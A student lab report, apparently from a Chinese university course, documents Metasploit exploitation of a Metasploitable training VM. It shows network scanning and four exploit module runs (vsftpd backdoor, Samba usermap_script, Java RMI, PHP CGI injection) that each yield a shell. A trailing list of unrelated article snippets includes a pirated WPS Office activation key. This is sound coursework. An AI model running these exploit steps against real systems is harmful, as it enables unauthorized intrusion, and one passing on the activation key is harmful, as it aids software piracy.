20232410 2025-2026-1 《网络与系统攻防技术》实验六实验报告

news/2025/11/17 21:08:58/文章来源:https://www.cnblogs.com/stitchyyy/p/19234408

1.实验内容
掌握Metasploit的基础操作:模块搜索(search)、加载(use)、参数配置(set)、攻击执行(exploit/run)及会话管理(sessions)。
理解4类漏洞的核心原理,明确漏洞与靶机开放端口、服务的对应关系。
能够通过命令行验证攻击结果,确认是否成功获取靶机操作权限。

2.实验过程
2.1前期渗透
ifconfig得到metasploitable靶机的ip地址为192.168.81.166 。
image

在kali中打开msfconsole,输入以下命令。
search arp_sweep
use 0
set RHOSTS 192.168.81.0/24
run
扫描靶机。
image

可以在命令行中输入nmap -p 1-2048 192.168.81.166查看靶机开放的端口。
image

接着在命令行中输入nmap -script=vuln 192.168.81.166对靶机的漏洞进行扫描.。
image
image
image

2.2Vsftpd源码包后门漏洞(21端口)
在msfconsole中输入以下命令。
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.81.166
run
再输入shell相关命令,可以看到已经成功获取靶机的shell。
image

2.3SambaMS-RPC Shell命令注入漏洞(端口139)
在msfconsole中输入以下命令。
use exploit/multi/samba/usermap_script
set RHOST 192.168.81.166
exploit
再输入uname -a命令,可以看到已经成功获取靶机的shell.
image

2.4Java RMI SERVER命令执行漏洞
之前已经扫描过1099端口并确定其存在漏洞且开放,在msfconsole中输入以下命令。
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.81.166
exploit
shell
输入命令whoami,得到结果root,说明攻击成功。
image

2.5PHP CGI参数执行注入漏洞
在msfconsole中输入以下命令。
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.81.166
exploit
shell
可以执行ls命令,攻击成功。
image

3.问题及解决方案
问题1:在一开始扫描靶机时,显示“不允许的操作”,扫描失败。
image

问题解决1:使用sudo su - 命令切换至root权限,成功解决。
4.学习感悟、思考等
通过本次Metasploit实践,我从前期的主机发现、端口扫描等信息搜集,到依次利用Vsftpd、Samba 等4类漏洞完成渗透,清晰掌握了MSF的模块加载、参数配置、攻击执行等核心操作。整个过程让我直观理解了漏洞原理与实际利用的关联,对渗透测试流程有了更具象的认知。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/968302.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

sequence 题解

原题链接。 首先这个数据范围就很 meet in middle。 首先一个关键性质是对于任意的一个顶到界限的 \(a\) 都能保它顶到界限那一位后面的位数合法,因为它后面随便选就意味着一定能通过调整使得后面的位置异或完是零。 …

2025上海商铺办公室装修公司推荐指南:业态适配与TOP10实力榜

2025上海商铺办公室装修公司推荐指南:业态适配与TOP10实力榜一、商铺装修公司核心评估维度(基于商业空间需求定制) 据《上海市商业空间装饰服务标准(2025 版)》,优质商铺装修服务商需满足六大针对性指标,适配餐…

FastAPI Test Project

# FastAPI Test Project## 项目简介 这是一个使用 FastAPI 框架的测试项目。## 技术栈 - Python >= 3.13 - FastAPI >= 0.121.2 - Uvicorn >= 0.38.0 - uv (包管理工具)## 环境配置### 虚拟环境说明 本项目使…

React Scheduler(调度器)

非常好!React Scheduler(调度器)是React并发能力的引擎,是理解React高性能更新的关键。它独立于React本身,是一个用于在浏览器中调度任务的通用库。 让我们深入剖析React调度器的核心机制。一、调度器是什么?为什…

2025年11月学习机榜单:双线提分机型领衔,十大高性价比之选

2025年11月学习机榜单:双线提分机型领衔,十大高性价比之选孩子放学回家,居家自学缺方法、线下补漏效率低,新课标改革后知识梯度拉升,家长既难同步校内进度,又难精准帮孩子突破薄弱点 —— 这成了 2025 年秋季开学…

Hier-SLAM++ (2) MeshGPT:仅使用解码器Transformer生成三角形网格 - MKT

Hier-SLAM++ (2) MeshGPT:仅使用解码器Transformer生成三角形网格 MeshGPT: Generating Triangle Meshes with Decoder-Only Transformershttps://github.com/audi/MeshGPTMeshGPT通过对经过训练的Transformer模型进…

2025.11.10训练记录

noip模拟赛。 因为喝了咖啡没有睡觉。costa的瓶装拿铁真的特别难喝。 T1 图上加边删边,维护连通块大小的积。 一开始以为直接可撤销并查集就可以做。直接去看T2了,看了一会儿回来实现。 想了一下,感觉也许可以直接撤…

Day41(11)-F:\硕士阶段\Java\课程代码\后端\web-ai-code\web-ai-project02\tlias-web-management

Mybatis 配置文件spring:application:name: springboot-mybatis-quickstart#数据库的连接信息datasource:type: com.alibaba.druid.pool.DruidDataSourceurl: jdbc:mysql://localhost:3306/web01driver-class-name: co…

vue2和vue3声明式和命令时的区别

这是一个非常好的问题,它触及了Vue2到Vue3最核心的演进逻辑。Vue3在保留声明式本质的基础上,通过更底层的命令式API,让开发者能够编写出更具声明性、更易维护的代码。 让我们来深入剖析Vue2和Vue3在声明式与命令式上…

WPS office 2023专业增强版 无限用v12.8 永久激活下载及安装使用教程

激活序列码:TJ3GN-9NTGQ-GLF7C-YEN8X-TJWML WPS Office是由金山软件股份有限公司自主研发的一款办公软件套装,可以实现办公软件最常用的文字、表格、演示等多种功能。 具有内存占用低、运行速度快、体积小巧、强大插…

3D 文件类型,怎么在线查看编辑STL/AMF/OBJ/stp/fbx/ply转换

​ 大致上,数字文件有三种类型:用于打印的、用于建模的和用于二维绘图的。为了生产实体零件,3D打印机需要特定的文件类型。被称为“网格模型”,3D打印中最常见的文件类型称为STereoLithography,简称STL。可以免费…

022304105叶骋恺数据采集第三次作业

作业1 代码与运行结果 class ImageDownloader:def __init__(self):self.headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.…

AI故事生成平台 -

AI故事生成平台通过调用deepseek的apikey,完成了一个基于ai大模型来进行生成故事的平台 通过调用火山方舟豆包的api,使用其文生图对生成的故事进行配图故事页提供多条件查询

nginx rewrite 状态码区别

301 与 308 有了之前的对 302、303、307 的理解,对 301 和 308 的理解就简单多了。 301 Moved Permanently 的定义 301 状态码表明目标资源被永久的移动到了一个新的 URI,任何未来对这个资源的引用都应该使用新的 UR…

GS4:首个泛化高斯溅射语义SLAM框架,十倍效率三维建图 - MKT

GS4:首个泛化高斯溅射语义SLAM框架,十倍效率三维建图

2025 ICPC 南京区域赛 CFGIJ

C. Distributing Candies 思维。 奇数无论怎么分都会分出一个偶数,而奇数不能整除偶数;偶数的话对半分即可。点击查看代码 #include <bits/stdc++.h>using i64 = long long;void solve() {i64 n;std::cin >…

关于一种滚动数组的错误实现方式

滚动数组的大坑!!!!!!!错误写法:swap 一次是 \(O(N)\) 的!!!!!!! int dp[N],dp2[N]; int dodp() {memset(dp,-0x3f,sizeof(dp));memset(dp2,-0x3f,sizeof(dp2));dp2[0]=0;for(int kkk=0;kkk<s.size(…

wps office 2023专业增强版

WPS office 2023专业增强版 v12.8 永久激活下载及安装使用教程 WPS Office是由金山软件股份有限公司自主研发的一款办公软件套装,可以实现办公软件最常用的文字、表格、演示等多种功能。 具有内存占用低、运行速度快、…

React中Class组件和Function组件有何区别

这是一个非常核心的面试题。从表面上看,这只是两种编写组件的方式,但它们的区别远不止语法糖那么简单。下面我将从表象区别、本质区别和设计哲学三个层面来深入剖析。一、表象区别(Syntax & Basic Usage)特性 …